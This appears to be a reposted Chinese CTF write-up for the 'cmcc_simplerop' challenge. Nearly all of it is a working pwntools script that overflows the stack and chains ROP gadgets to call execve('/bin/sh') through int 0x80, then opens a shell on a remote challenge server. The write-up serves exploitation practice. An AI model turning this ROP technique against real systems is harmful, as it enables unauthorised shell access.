cmcc_simplerop

exp 脚本

  这题没有 system ,但是有 int 80h 系统调用,所以我们只需要栈溢出 rop 技术设置系统调用参数即可执行 execve("\bin\sh",0,0) 拿 shell

from pwn import *

io = remote('node3.buuoj.cn',25734)

int_80 = 0x80493e1
pop_eax = 0x80bae06
read_addr = 0x0806CD50
binsh_addr = 0x080EB584
pop_edx_ecx_ebx = 0x0806e850

payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_80)

io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

内容来源

cmcc_simplerop

猜你喜欢

转载自www.cnblogs.com/luoleqi/p/12392245.html